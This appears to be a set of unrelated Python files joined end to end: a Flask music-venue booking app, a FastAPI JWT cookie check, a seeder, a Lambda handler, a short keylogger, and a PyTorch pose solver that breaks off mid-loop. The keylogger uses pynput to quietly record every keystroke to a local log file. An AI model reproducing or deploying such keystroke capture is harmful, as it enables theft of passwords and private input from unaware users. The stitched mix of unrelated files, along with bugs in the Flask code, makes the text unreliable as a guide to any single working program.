#----------------------------------------------------------------------------#
# Imports
#----------------------------------------------------------------------------#
import json
import dateutil.parser
import babel
from flask import Flask, render_template, request, Response, flash, redirect, url_for
from flask_moment import Moment
from flask_sqlalchemy import SQLAlchemy
import logging
from logging import Formatter, FileHandler
from flask_wtf import Form
from forms import *
from flask_migrate import Migrate
import sys
from sqlalchemy import Date, cast
from datetime import date, datetime
import enum
from sqlalchemy import String, Integer, ARRAY,  func
#----------------------------------------------------------------------------#
# App Config.
#----------------------------------------------------------------------------#
app = Flask(__name__)
moment = Moment(app)
app.config.from_object('config')
db = SQLAlchemy(app)
#----------------------------------------------------------------------------#
# Migration.
#----------------------------------------------------------------------------#
migrate = Migrate(app, db)
#----------------------------------------------------------------------------#
# Models.
#----------------------------------------------------------------------------#
class Venue(db.Model):
    __tablename__ = 'venue'
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String)
    city = db.Column(db.String(120))
    state = db.Column(db.String(120))
    address = db.Column(db.String(120))
    phone = db.Column(db.String(120))
    image_link = db.Column(db.String(500))
    facebook_link = db.Column(db.String(120))
    genres = db.Column(db.ARRAY(db.String()))
    website = db.Column(db.String(120))
    seeking_talent = db.Column(db.Boolean)
    seeking_description = db.Column(db.String(250))
    show = db.relationship('Show', backref='venue')
    # TODO: implement any missing fields, as a database migration using Flask-Migrate
class Artist(db.Model):
    __tablename__ = 'artist'
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String)
    city = db.Column(db.String(120))
    state = db.Column(db.String(120))
    phone = db.Column(db.String(120))
    image_link = db.Column(db.String(500))
    genres = db.Column(db.ARRAY(db.String()))
    facebook_link = db.Column(db.String(120))
    website = db.Column(db.String(120))
    seeking_venue = db.Column(db.Boolean)
    seeking_description = db.Column(db.String(250))
    show = db.relationship('Show', backref='artist')
    # TODO: implement any missing fields, as a database migration using Flask-Migrate
class Show(db.Model):
    __tablename__ = 'show'
    id = db.Column(db.Integer, primary_key=True)
    start_time = db.Column(db.DateTime)
    venue_id = db.Column(db.Integer, db.ForeignKey('venue.id'), nullable=False)
    artist_id = db.Column(db.Integer, db.ForeignKey('artist.id'), nullable=False)
# TODO Implement Show and Artist models, and complete all model relationships and properties, as a database migration.
#----------------------------------------------------------------------------#
# Filters.
#----------------------------------------------------------------------------#
def format_datetime(value, format='medium'):
  date = dateutil.parser.parse(value)
  if format == 'full':
      format="EEEE MMMM, d, y 'at' h:mma"
  elif format == 'medium':
      format="EE MM, dd, y h:mma"
  return babel.dates.format_datetime(date, format)
app.jinja_env.filters['datetime'] = format_datetime
#----------------------------------------------------------------------------#
# Controllers.
#----------------------------------------------------------------------------#
@app.route('/')
def index():
  return render_template('pages/home.html')
#  Genres
#----------------------------------------------------------------------------#
# @app.route('/artists/create', methods=['GET'])
# def list_genres():
#   genres = Genre.query.all()
#   return render_template('forms/new_artist.html', genres=genres)
#  Venues
#  ----------------------------------------------------------------
@app.route('/venues')
def venues():
  # TODO: replace with real venues data.
  #  num_shows should be aggregated based on number of upcoming shows per venue.
  # check how you are passing your data, into which jinja part?
  venue_group_by_city= Venue.query.with_entities(func.count(Venue.id), Venue.city, Venue.state).group_by(Venue.city, Venue.state).all()
  data = []
  dateToday = datetime.now()
  for result_venues in venue_group_by_city:
    venues = Venue.query.filter_by(city= result_venues.city).filter_by(state = result_venues.state).all()
    venues_shows = []
    for x in venues:
      if (result_venues.city == x.city) and (result_venues.state == x.state):
        shows = Show.query.filter_by(venue_id =x.id).all()
        num = 0
        for show in shows:
          if show.start_time >= dateToday:
            num =+ 1
      venues_shows.append({
              "id": x.id,
              "name": x.name,
              "upcoming_show": num
          })
    data.append({
          "city" : result_venues.city,
          "state" : result_venues.state,
           "venues" : venues_shows
          })
  return render_template('pages/venues.html', areas=data)
@app.route('/venues/search', methods=['POST'])
def search_venues():
  # TODO: implement search on artists with partial string search. Ensure it is case-insensitive.
  # seach for Hop should return "The Musical Hop".
  # search for "Music" should return "The Musical Hop" and "Park Square Live Music & Coffee"
  search_term = request.form.get('search_term','')
  value = Venue.query.filter(Venue.name.ilike('%'+search_term+'%')).all()
  response = {
    "count": len(value),
    "data": value
  }
  return render_template('pages/search_venues.html', results=response, search_term=search_term)
@app.route('/venues/<int:venue_id>')
def show_venue(venue_id):
  # shows the venue page with the given venue_id
  # TODO: replace with real venue data from the venues table, using venue_id
  data = []
  past_shows =[]
  upcoming_shows = []
  dateToday = datetime.now()
  select_venue_by_id=Venue.query.get(venue_id)
  shows=Show.query.filter_by(venue_id=venue_id).all()
  for show in shows:
    if show.start_time >= dateToday:
      upcoming_shows.append({
      "artist_id": show.artist_id,
      "artist_name": Artist.query.filter_by(id=show.artist_id).first().name,
      "artist_image_link":Artist.query.filter_by(id=show.artist_id).first().image_link ,
      "start_time": show.start_time })
    else:
      past_shows.append({
      "artist_id": show.artist_id,
      "artist_name": Artist.query.filter_by(id=show.artist_id).first().name,
      "artist_image_link":Artist.query.filter_by(id=show.artist_id).first().image_link ,
      "start_time": show.start_time })
  # shows the venue page with the given venue_id
  # TODO: replace with real venue data from the venues table, using venue_id
  data = {
    "id": select_venue_by_id.id,
    "name": select_venue_by_id.name,
    "genres": select_venue_by_id.genres ,
    "address": select_venue_by_id.address,
    "city": select_venue_by_id.city,
    "state": select_venue_by_id.state,
    "phone": select_venue_by_id.phone,
    "website": select_venue_by_id.website,
    "facebook_link": select_venue_by_id.facebook_link,
    "seeking_talent": True,
    "seeking_description": select_venue_by_id.seeking_description,
    "image_link": select_venue_by_id.image_link ,
    "past_shows":past_shows,
    "upcoming_shows": upcoming_shows,
    "past_shows_count": len(past_shows),
    "upcoming_shows_count": len(upcoming_shows)
  }
  return render_template('pages/show_venue.html', venue=data)
#  Create Venue
#  ----------------------------------------------------------------
@app.route('/venues/create', methods=['GET'])
def create_venue_form():
  form = VenueForm()
  return render_template('forms/new_venue.html', form=form)
@app.route('/venues/create', methods=['POST'])
def create_venue_submission():
  # TODO: insert form data as a new Venue record in the db, instead
  # TODO: modify data to be the data object returned from db insertion
  error = False
  try:
    name = request.form.get('name', '')
    city=request.form.get('city', '')
    state=request.form.get('state', '')
    address=request.form.get('address', '')
    phone=request.form.get('phone', '')
    image_link=request.form.get('image_link', '')
    genres= request.form.getlist('genres',)
    facebook_link=request.form.get('facebook_link', '')
    venue = Venue(name=name, city=city, state=state, address=address,
                phone=phone, image_link=image_link, genres=genres,
                facebook_link=facebook_link)
    db.session.add(venue)
    db.session.commit()
  # on successful db insert, flash success
    flash('Venue ' + request.form['name'] + ' was successfully listed!')
  # TODO: on unsuccessful db insert, flash an error instead.
  # e.g., flash('An error occurred. Venue ' + data.name + ' could not be listed.')
  # see: http://flask.pocoo.org/docs/1.0/patterns/flashing/
  except:
    error = True
    db.session.rollback()
    flash('An error occurred.'+ name +' Venue  could not be listed.')
    print(sys.exc_info())
  finally:
    db.session.close()
  return render_template('pages/home.html')
@app.route('/venues/<venue_id>', methods=['DELETE'])
def delete_venue(venue_id):
  # TODO: Complete this endpoint for taking a venue_id, and using
  # SQLAlchemy ORM to delete a record. Handle cases where the session commit could fail.
  try:
   venue = Venue.query.get(venue_id)
   db.session.delete(venue)
   db.session.commit()
  except:
    db.session.rollback()
  finally:
    db.session.close()
  # BONUS CHALLENGE: Implement a button to delete a Venue on a Venue Page, have it so that
  # clicking that button delete it from the db then redirect the user to the homepage
  return None
#  Artists
#  ----------------------------------------------------------------
@app.route('/artists')
def artists():
  # TODO: replace with real data returned from querying the database
  data= Artist.query.all()
  return render_template('pages/artists.html', artists=data)
@app.route('/artists/search', methods=['POST'])
def search_artists():
  # TODO: implement search on artists with partial string search. Ensure it is case-insensitive.
  # seach for "A" should return "Guns N Petals", "Matt Quevado", and "The Wild Sax Band".
  # search for "band" should return "The Wild Sax Band".
  search_term = request.form.get('search_term','')
  value = Artist.query.filter(Artist.name.ilike('%'+search_term+'%')).all()
  response={
    "count": len(value),
    "data": value
  }
  return render_template('pages/search_artists.html', results=response, search_term=search_term)
@app.route('/artists/<int:artist_id>')
def show_artist(artist_id):
  # shows the venue page with the given venue_id
  # TODO: replace with real venue data from the venues table, using venue_id
  data = []
  past_shows = []
  upcoming_shows = []
  dateToday= datetime.now()
  shows = Show.query.filter_by(artist_id=artist_id).all()
  select_artist_by_id = Artist.query.get(artist_id)
  for show in shows:
    if show.start_time >= dateToday:
      upcoming_shows.append({
        "venue_id" : show.venue_id,
        "venue_name" : Venue.query.filter_by(id=show.venue_id).first().name,
        "venue_image_link" : Venue.query.filter_by(id=show.venue_id).first().image_link ,
        "start_time": show.start_time
        })
    else:
      past_shows.append({
      "venue_id" : show.venue_id,
      "venue_name" : Venue.query.filter_by(id=show.venue_id).first().name,
      "venue_image_link" : Venue.query.filter_by(id=show.venue_id).first().image_link ,
      "start_time": show.start_time
      })
  data = ({
    "id": select_artist_by_id.id,
    "name": select_artist_by_id.name,
    "genres": select_artist_by_id.genres,
    "city": select_artist_by_id.city,
    "state": select_artist_by_id.state,
    "phone": select_artist_by_id.phone,
    "website": select_artist_by_id.website,
    "facebook_link": select_artist_by_id.facebook_link,
    "seeking_venue": True,
    "seeking_description": select_artist_by_id.seeking_description,
    "image_link": select_artist_by_id.image_link ,
    "past_shows":past_shows,
    "upcoming_shows": upcoming_shows,
    "past_shows_count": len(past_shows),
    "upcoming_shows_count": len(upcoming_shows)
  })
  return render_template('pages/show_artist.html', artist = data)
#  Update
#  ----------------------------------------------------------------
@app.route('/artists/<int:artist_id>/edit', methods=['GET'])
def edit_artist(artist_id):
  artist = Artist.query.get(artist_id)
  form = ArtistForm()
  form.name.data = artist.name
  form.genres.data = artist.genres
  form.city.data = artist.city
  form.state.data = artist.state
  form.phone.data = artist.phone
  form.facebook_link.data = artist.facebook_link
  form.image_link.data = artist.image_link
  artist = {
    "id": artist.id,
    "name": artist.name,
    "genres": artist.genres,
    "city": artist.city,
    "state": artist.state,
    "phone": artist.phone,
    "facebook_link": artist.facebook_link,
    "image_link" :  artist.image_link
  }
  # TODO: populate form with fields from artist with ID <artist_id>
  return render_template('forms/edit_artist.html', form=form, artist=artist)
@app.route('/artists/<int:artist_id>/edit', methods=['POST'])
def edit_artist_submission(artist_id):
  # TODO: take values from the form submitted, and update existing
  # artist record with ID <artist_id> using the new attributes
  try:
    name = request.form.get('name', '')
    city=request.form.get('city', '')
    state=request.form.get('state', '')
    address=request.form.get('address', '')
    phone=request.form.get('phone', '')
    image_link=request.form.get('image_link', '')
    genres= request.form.getlist('genres',)
    facebook_link=request.form.get('facebook_link', '')
    artist = Artist.query.get(artist_id)
    artist.name = name
    artist.city = city
    artist.state = state
    artist.address = address
    artist.phone = phone
    artist.image_link = image_link
    artist.genres = genres
    artist.facebook_link = facebook_link
    db.session.commit()
    flash(' The artist information updated successfully')
  except:
    db.session.rollback()
  finally:
    db.session.close()
  return redirect(url_for('show_artist', artist_id=artist_id))
@app.route('/venues/<int:venue_id>/edit', methods=['GET'])
def edit_venue(venue_id):
  form = VenueForm()
  venue = Venue.query.get(venue_id)
  form.name.data = venue.name
  form.genres.data = venue.genres
  form.city.data = venue.city
  form.state.data = venue.state
  form.address.data = venue.address
  form.phone.data = venue.phone
  form.facebook_link.data = venue.facebook_link
  venue = {
    "id": venue.id,
    "name": venue.name,
    "genres": venue.genres,
    "city": venue.city,
    "state": venue.state,
    "address": venue.address,
    "phone": venue.phone,
    "facebook_link": venue.facebook_link
  }
  # TODO: populate form with values from venue with ID <venue_id>
  return render_template('forms/edit_venue.html', form=form, venue=venue)
@app.route('/venues/<int:venue_id>/edit', methods=['POST'])
def edit_venue_submission(venue_id):
  # TODO: take values from the form submitted, and update existing
  # venue record with ID <venue_id> using the new attributes
  try:
    name = request.form.get('name', '')
    city=request.form.get('city', '')
    state=request.form.get('state', '')
    address=request.form.get('address', '')
    phone=request.form.get('phone', '')
    genres=request.form.get('genres', '')
    facebook_link=request.form.get('facebook_link', '')
    venue = Venue.query.get(venue_id)
    venue.name = name
    venue.city = city
    venue.state = state
    venue.address = address
    venue.phone = phone
    venue.genres = genres
    venue.facebook_link = facebook_link
    db.session.commit()
    flash(' The venue information updated successfully')
  except:
    db.session.rollback()
  finally:
    db.session.close()
  return redirect(url_for('show_venue', venue_id=venue_id))
#  Create Artist
#  ----------------------------------------------------------------
@app.route('/artists/create', methods=['GET'])
def create_artist_form():
  form = ArtistForm()
  return render_template('forms/new_artist.html', form=form)
@app.route('/artists/create', methods=['POST'])
def create_artist_submission():
  # called upon submitting the new artist listing form
  # TODO: insert form data as a new Venue record in the db, instead
  # TODO: modify data to be the data object returned from db insertion
  error = False
  try:
    name=request.form.get('name', '')
    city=request.form.get('city', '')
    state=request.form.get('state', '')
    phone=request.form.get('phone', '')
    image_link=request.form.get('image_link', '')
    genres=request.form.getlist('genres')
    facebook_link=request.form.get('facebook_link', '')
    artist=Artist(name=name, city=city, state=state, phone=phone,
                  image_link=image_link, genres=genres, facebook_link=facebook_link)
    db.session.add(artist)
    db.session.commit()
  # on successful db insert, flash success
    flash('Artist ' + name + ' was successfully listed!')
  # TODO: on unsuccessful db insert, flash an error instead.
  # e.g., flash('An error occurred. Artist ' + data.name + ' could not be listed.')
  except:
    error = True
    db.session.rollback()
    print(sys.exc_info())
  # TODO: on unsuccessful db insert, flash an error instead.
  # e.g., flash('An error occurred. Artist ' + data.name + ' could not be listed.')
    flash('An error occurred. Artist ' + name + ' could not be listed.')
  finally:
    db.session.close()
  return render_template('pages/home.html')
#  ----------------------------------------------------------------
#  Shows
#  ----------------------------------------------------------------
@app.route('/shows')
def shows():
  # displays list of shows at /shows
  # TODO: replace with real venues data.
  #       num_shows should be aggregated based on number of upcoming shows per venue.
  data = []
  select_all_show = Show.query.all()
  for shows in select_all_show:
    select_by_venue_id= Venue.query.get(shows.venue_id)
    select_by_artist_id= Artist.query.get(shows.artist_id)
    data.append({
    'id' : shows.venue_id,
    'venue_name' : select_by_venue_id.name,
    'artist_id' : shows.venue_id,
    'artist_name' : select_by_artist_id.name,
    'artist_image_link' : select_by_artist_id.image_link,
    'start_time' : shows.start_time
  })
  return render_template('pages/shows.html', shows=data)
@app.route('/shows/create')
def create_shows():
  # renders form. do not touch.
  form = ShowForm()
  return render_template('forms/new_show.html', form=form)
@app.route('/shows/create', methods=['POST'])
def create_show_submission():
  # called to create new shows in the db, upon submitting new show listing form
  # TODO: insert form data as a new Show record in the db, instead
  error= False
  try:
    artist_id=request.form.get('artist_id')
    venue_id=request.form.get('venue_id')
    start_time=request.form.get('start_time')
    show=Show(artist_id=artist_id, venue_id=venue_id, start_time=start_time)
    db.session.add(show)
    db.session.commit()
  # on successful db insert, flash success
    flash('Show was successfully listed!')
  # TODO: on unsuccessful db insert, flash an error instead.
  # e.g., flash('An error occurred. Show could not be listed.')
  # see: http://flask.pocoo.org/docs/1.0/patterns/flashing/
  except:
    error = True
    db.session.rollback()
    print(sys.exc_info())
    # TODO: on unsuccessful db insert, flash an error instead.
    # e.g., flash('An error occurred. Artist ' + data.name + ' could not be listed.')
    flash('An error occurred. Artist  could not be listed.')
  finally:
    db.session.close()
  return render_template('pages/home.html')
@app.errorhandler(404)
def not_found_error(error):
    return render_template('errors/404.html'), 404
@app.errorhandler(500)
def server_error(error):
    return render_template('errors/500.html'), 500
if not app.debug:
    file_handler = FileHandler('error.log')
    file_handler.setFormatter(
        Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')
    )
    app.logger.setLevel(logging.INFO)
    file_handler.setLevel(logging.INFO)
    app.logger.addHandler(file_handler)
    app.logger.info('errors')
#----------------------------------------------------------------------------#
# Launch.
#----------------------------------------------------------------------------#
# Default port:
if __name__ == '__main__':
    app.run()
# Or specify port manually:
'''
if __name__ == '__main__':
    port = int(os.environ.get('PORT', 5000))
    app.run(host='0.0.0.0', port=port)
'''


from __future__ import annotations

import time
from typing import Optional

import jose
from fastapi import HTTPException, Request, Response, status
from fastapi.security import APIKeyCookie

from skyline_apiserver import schemas
from skyline_apiserver.config import CONF
from skyline_apiserver.core.security import generate_profile_by_token, parse_access_token
from skyline_apiserver.db import api as db_api
from skyline_apiserver.types import constants

class TokenCookie(APIKeyCookie):
    async def __call__(self, request: Request) -> str:
        api_key = request.cookies.get(self.model.name)
        if not api_key:
            raise HTTPException(
                status_code=status.HTTP_401_UNAUTHORIZED,
                detail=constants.ERR_MSG_TOKEN_NOTFOUND,
            )
        return api_key

async def getJWTPayload(request: Request) -> Optional[str]:
    token = request.cookies.get(CONF.default.session_name)
    return token

async def get_profile(request: Request) -> schemas.Profile:
    payload = await TokenCookie(name=CONF.default.session_name)(request)
    try:
        await db_api.purge_revoked_token()
        token = parse_access_token(payload)
        is_revoked = await db_api.check_token(token.uuid)
        if is_revoked:
            raise HTTPException(
                status_code=status.HTTP_401_UNAUTHORIZED,
                detail=constants.ERR_MSG_TOKEN_REVOKED,
            )
        profile = await generate_profile_by_token(token)
    except HTTPException as e:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=e.detail,
        )
    except jose.exceptions.ExpiredSignatureError as e:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=constants.ERR_MSG_TOKEN_EXPIRED + " : " + str(e),
        )
    except Exception as e:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=str(e),
        )
    return profile

async def get_profile_update_jwt(request: Request, response: Response) -> schemas.Profile:
    profile = await get_profile(request)

    if 0 < profile.exp - time.time() < CONF.default.access_token_renew:
        profile.exp = int(time.time()) + CONF.default.access_token_expire
        response.set_cookie(CONF.default.session_name, profile.toJWTPayload())
        response.set_cookie(constants.TIME_EXPIRED_KEY, str(profile.exp))
    return profile


import json

class Teacher:
    def __init__(self, identifier, lang="en"):
        with open(f"Scenarios/{lang}/teachers/{identifier}.json", "r") as f:
            data = json.load(f)
        self.name = data["name"]
        self.character = data["character"]
        self.few_shots = "".join(data["few_shots"])

        self.voice = data["voice"]
        self.audioConfig = data["audioConfig"]


import os
import pickle
import random

from faker import Faker
from sqlalchemy.sql.expression import func

from app import app
from models.guest import GuestModel
from models.participant import ParticipantModel

app.app_context().push()

from models.event import EventModel

fake = Faker()
client = app.test_client()

def generate_events(num=1000):
    for _ in range(num):
        end_datetime = fake.date_time_between('-1M', '+1M')
        event = EventModel(
            name=fake.sentence(),
            start=fake.date_time_between('-1M', end_datetime),
            end=end_datetime,
            description=fake.text(512)
        )

        for participant in ParticipantModel.query.order_by(func.random()) \
                .limit(random.randint(1, 3)):
            event.participants.append(participant)

        for guest in GuestModel.query.order_by(func.random()) \
                .limit(random.randint(1, 20)):
            event.guests.append(guest)

        event.save_to_db()

def load_participants(path=os.path.join('data', 'authors.pickle')):
    with open(path, 'rb') as file:
        participants = pickle.load(file)

    for name in participants:
        participant = ParticipantModel(name=name)
        participant.save_to_db()

def generate_guests(num=100):
    for _ in range(num):
        guest = GuestModel(name=fake.name())
        guest.save_to_db()

if __name__ == '__main__':
    load_participants()
    generate_guests()
    generate_events()


import json
from pymongo import MongoClient
import bundle.mongo as mongo
import bundle.api as api
import uuid as uu

def check_database(data: dict, db) -> bool:
    query = {'manager':data['manager'], 'name' : data['name']}
    return mongo.query_table('groups', query, db) != None

def lambda_handler(event, context):
    # Parameters
    payload = json.loads(event['body'])

    # Build reponse JSON
    response = {}

    # Verify token is correct before running more commands
    token = event['headers']['token']
    response["token_success"] = api.check_token(token)

    if response['token_success']:
        if api.check_body(["name", "manager"], payload):
            db = mongo.get_database()
            if not check_database(payload, db):
                groups = db['groups']
                group_id = str(uu.uuid4())
                new_cal = {
                    "group_id": group_id,
                    "events": [],
                    "recurring_expenses": []
                }
                cal_id = db['calendars'].insert_one(new_cal).inserted_id
                group_obj = {
                    "name" : payload['name'],
                    "uuid" : group_id,
                    "members" : [payload['manager']],
                    "all_time_members": [payload['manager']],
                    "manager" : payload['manager'],
                    "expenses" : [],
                    "pending_payments": [],
                    "calendar" : cal_id,
                    "shopping list" : [],
                    "settings" : {'fufillment' : 'billmates', 'auto_approve' : False, 'max_char' : 20},
                    "archived" : False,
                    "blacklist" : [],
                    "analytics" : {
                        payload['manager'] : mongo.new_analytics()
                    }
                }
                groups.insert_one(group_obj)
                response['make_group_success'] = True

                # add group to manager's groups field
                db['users'].update_one({'email' : payload['manager']}, {"$push": {"groups" : str(group_id)}})

            else:
                response['make_group_success'] = False
        else:
            response = {"ERROR": "Malformed Body"}

    return api.build_capsule(response)


import threading
from pynput.keyboard import Key, Listener
import logging

log_dir = ""
FILE_NAME = "keylogs.txt"
period = 0.1
logging.basicConfig(filename=(log_dir+FILE_NAME), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

def keyboard_listener():
    with Listener(on_press=on_press) as listener:
        listener.join()

if __name__ == '__main__':
    listener_thread = threading.Thread(target=keyboard_listener)
    listener_thread.start()


import copy
import math
import time

import numpy as np
import torch
from pytorch3d.renderer import camera_position_from_spherical_angles
from skimage.feature import peak_local_max

from nemo.utils import call_func_by_name
from nemo.utils import camera_position_to_spherical_angle
from nemo.utils import construct_class_by_name
from nemo.utils import flow_warp
from nemo.utils import load_off

def loss_fg_only(obj_s, clu_s=None, device="cuda"):
    return torch.ones(1, device=device) - torch.mean(obj_s)

def loss_fg_bg(obj_s, clu_s, device="cuda"):
    return torch.ones(1, device=device) - (
        torch.mean(torch.max(obj_s, clu_s)) - torch.mean(clu_s)
    )

def get_corr_pytorch(
    px_samples,
    py_samples,
    kpt_score_map,
    kp_coords,
    kp_vis,
    down_sample_rate,
    hm_h,
    hm_w,
    batch_size=12,
    device="cuda",
):
    all_corr = []

    begin, end = 0, batch_size
    while begin < len(px_samples):
        px_s, py_s = torch.from_numpy(px_samples[begin:end]).to(
            device
        ), torch.from_numpy(py_samples).to(device)
        kpc = torch.from_numpy(kp_coords).to(device)
        kpv = torch.from_numpy(kp_vis).to(device)
        kps = torch.from_numpy(kpt_score_map).to(device)

        xv, yv = torch.meshgrid(px_s, py_s)
        principal_samples = (
            torch.stack([xv, yv], dim=2).reshape(-1, 1, 2).repeat(1, kpc.shape[1], 1)
        )

        kpc = kpc.unsqueeze(1).repeat(1, principal_samples.shape[0], 1, 1)
        kpc += principal_samples
        kpc = kpc.reshape(-1, kpc.shape[2], 2)
        kpc = torch.round(kpc / down_sample_rate)

        kpv = kpv.unsqueeze(1).repeat(1, principal_samples.shape[0], 1)
        kpv = kpv.reshape(-1, kpv.shape[2])
        kpv[kpc[:, :, 0] < 0] = 0
        kpv[kpc[:, :, 0] >= hm_w - 1] = 0
        kpv[kpc[:, :, 1] < 0] = 0
        kpv[kpc[:, :, 1] >= hm_h - 1] = 0

        kpc[:, :, 0] = torch.clamp(kpc[:, :, 0], min=0, max=hm_w - 1)
        kpc[:, :, 1] = torch.clamp(kpc[:, :, 1], min=0, max=hm_h - 1)
        kpc = (kpc[:, :, 1:2] * hm_w + kpc[:, :, 0:1]).long()

        corr = torch.take_along_dim(kps.unsqueeze(0), kpc, dim=2)[:, :, 0]
        corr = torch.sum(corr * kpv, dim=1)

        all_corr.append(corr.reshape(-1, len(px_s), len(py_s)))

        begin += batch_size
        end += batch_size
        if end > len(px_samples):
            end = len(px_samples)

    corr = torch.cat(all_corr, dim=-2).detach().cpu().numpy()
    return corr

def solve_pose(
    cfg,
    feature_map,
    inter_module,
    kp_features,
    clutter_bank,
    poses,
    kp_coords,
    kp_vis,
    px_samples=None,
    py_samples=None,
    debug=False,
    device="cuda",
):
    nkpt, c = kp_features.size()
    memory = kp_features.view(nkpt, c, 1, 1)
    b, c, hm_h, hm_w = feature_map.size()
    pred = {}

    # Step 1: Pre-compute foreground and background features
    start_time = time.time()
    clutter_score = None
    if not isinstance(clutter_bank, list):
        clutter_bank = [clutter_bank]
    for cb in clutter_bank:
        _score = (
            torch.nn.functional.conv2d(feature_map, cb.unsqueeze(2).unsqueeze(3))
            .squeeze(0)
            .squeeze(0)
        )
        if clutter_score is None:
            clutter_score = _score
        else:
            clutter_score = torch.max(clutter_score, _score)

    kpt_score_map = torch.sum(
        feature_map.expand(nkpt, -1, -1, -1) * memory, dim=1
    )  # (nkpt, H, W)
    kpt_score_map = kpt_score_map.detach().cpu().numpy()
    kpt_score_map = kpt_score_map.reshape(nkpt, -1)  # (nkpt, H x W)

    end_time = time.time()
    pred["pre_compute_time"] = end_time - start_time

    # Step 2: Search for initializations
    start_time = end_time
    if px_samples is None or py_samples is None:
        if cfg.inference.search_translation:
            px_samples = np.linspace(
                0,
                hm_w * cfg.model.down_sample_rate,
                cfg.inference.num_px_samples,
                endpoint=True,
            )
            py_samples = np.linspace(
                0,
                hm_h * cfg.model.down_sample_rate,
                cfg.inference.num_py_samples,
                endpoint=True,
            )
        else:
            px_samples = np.array([hm_w * cfg.model.down_sample_rate / 2])
            py_samples = np.array([hm_h * cfg.model.down_sample_rate / 2])

    xv, yv = np.meshgrid(px_samples, py_samples, indexing="ij")
    corr = get_corr_pytorch(
        px_samples,
        py_samples,
        kpt_score_map,
        kp_coords,
        kp_vis,
        cfg.model.down_sample_rate,
        hm_h,
        hm_w,
        device=device,
    )
    corr = corr.reshape(
        poses.shape[0], poses.shape[1], poses.shape[2], poses.shape[3], len(xv), len(yv)
    )
    corr2d = corr.reshape(-1, len(xv), len(yv))

    corr2d_max = np.max(corr2d, axis=0)
    if cfg.inference.search_translation:
        extrema_2d = peak_local_max(
            corr2d_max, min_distance=cfg.inference.min_distance, exclude_border=False
        )
    else:
        extrema_2d = [[0, 0]]
    larger_thr_ext_2d = []
    max_e = None
    max_v = 0
    for e in extrema_2d:
        if corr2d_max[e[0], e[1]] >= cfg.inference.pre_rendering_thr:
            larger_thr_ext_2d.append(e)
        if corr2d_max[e[0], e[1]] > max_v:
            max_v = corr2d_max[e[0], e[1]]
            max_e = e

    extrema = []
    if len(larger_thr_ext_2d) > 0:
        iter_extrema_2d = larger_thr_ext_2d
    else:
        iter_extrema_2d = [max_e]

    for e in iter_extrema_2d:
        c = corr2d[:, e[0], e[1]].reshape(
            poses.shape[0], poses.shape[1], poses.shape[2], poses.shape[3]
        )
        e_azim, e_elev, e_the, e_dist = np.unravel_index(
            np.argmax(c, axis=None), c.shape
        )
        p = poses[e_azim, e_elev, e_the, e_dist]
        extrema.append(
            {
                "azimuth": p[0],
                "elevation": p[1],
                "theta": p[2],
                "distance": p[3],
                "px": px_samples[e[0]],
                "py": py_samples[e[1]],
                "principal": [px_samples[e[0]], py_samples[e[1]]],
            }
        )
    if debug:
        pred["pre_rendering_poses"] = extrema
        pred["corr2d"] = corr2d_max

    if len(extrema) == 0:
        raise NotImplementedError
        pred["final"] = []
        return pred

    end_time = time.time()
    pred["pre_rendering_time"] = end_time - start_time

    # Step 3: Refine object proposals with pose optimization
    start_time = end_time
    refined, object_score_list, seg_map_list = [], [], []
    for i in range(len(extrema)):
        C = camera_position_from_spherical_angles(
            extrema[i]["distance"],
            extrema[i]["elevation"],
            extrema[i]["azimuth"],
            degrees=False,
            device=device,
        )
        C = torch.nn.Parameter(C, requires_grad=True)
        theta = torch.tensor(extrema[i]["theta"], dtype=torch.float32).to(device)
        theta = torch.nn.Parameter(theta, requires_grad=True)
        max_principal = [extrema[i]["px"], extrema[i]["py"]]
        flow = torch.tensor(
            [
                -(max_principal[0] - hm_w * cfg.model.down_sample_rate / 2)
                / cfg.model.down_sample_rate
                * cfg.inference.translation_scale,
                -(max_principal[1] - hm_h * cfg.model.down_sample_rate / 2)
                / cfg.model.down_sample_rate
                * cfg.inference.translation_scale,
            ],
            dtype=torch.float32,
        ).to(device)
        flow = torch.nn.Parameter(flow, requires_grad=True)

        param_list = [C, theta]
        if cfg.inference.optimize_translation:
            param_list.append(flow)

        optim = construct_class_by_name(**cfg.inference.optimizer, params=param_list)
        scheduler_kwargs = {"optimizer": optim}
        scheduler = construct_class_by_name(
            **cfg.inference.scheduler, **scheduler_kwargs
        )

        for epo in range(cfg.inference.epochs):
            projected_map = inter_module(
                C,
                theta,
                mode=cfg.inference.inter_mode,
                blur_radius=cfg.inference.blur_radius,
            ).squeeze()
            flow_map = flow.view(1, 2, 1, 1).repeat(1, 1, hm_h, hm_w)
            projected_map = flow_warp(
                projected_map.unsqueeze(0), flow_map / cfg.inference.translation_scale
            )[0]
            object_score = torch.sum(projected_map * feature_map.squeeze(), dim=0)

            loss = call_func_by_name(
                func_name=cfg.inference.loss,
                obj_s=object_score,
                clu_s=clutter_score,
                device=device,
            )

            loss.backward()
            optim.step()
            optim.zero_grad()

        seg_map = (
            ((object_score > clutter_score) * (object_score > 0.0))
            .detach()
            .cpu()
            .numpy()
            .astype(np.uint8)
        )
        seg_map_list.append(seg_map)
        object_score_list.append(object_score.squeeze().detach().cpu().numpy())

        (
            distance_pred,
            elevation_pred,
            azimuth_pred,
        ) = camera_position_to_spherical_angle(C)
        theta_pred, distance_pred, elevation_pred, azimuth_pred = (
            theta.item(),
            distance_pred.item(),
            elevation_pred.item(),
            azimuth_pred.item(),
        )
        px_pred, py_pred = (
            -flow[0].item() / cfg.inference.translation_scale,
            -flow[1].item() / cfg.inference.translation_scale,
        )

        refined.append(
            {
                "azimuth": azimuth_pred,
                "elevation": elevation_pred,
                "theta": theta_pred,
                "distance": distance_pred,
                "px": px_pred,
                "py": py_pred,
                "principal": [
                    px_pred * cfg.model.down_sample_rate
                    + hm_w * cfg.model.down_sample_rate / 2,
                    py_pred * cfg.model.down_sample_rate
                    + hm_h * cfg.model.down_sample_rate / 2,
                ],
                "score": loss.item(),
            }
        )

    end_time = time.time()
    pred["optimization_time"] = end_time - start_time

    if len(refined) == 1:
        pred["final"] = refined
    else:
        min_score = 1000
        ret = None
        for result in refined:
            if result['score'] < min_score:
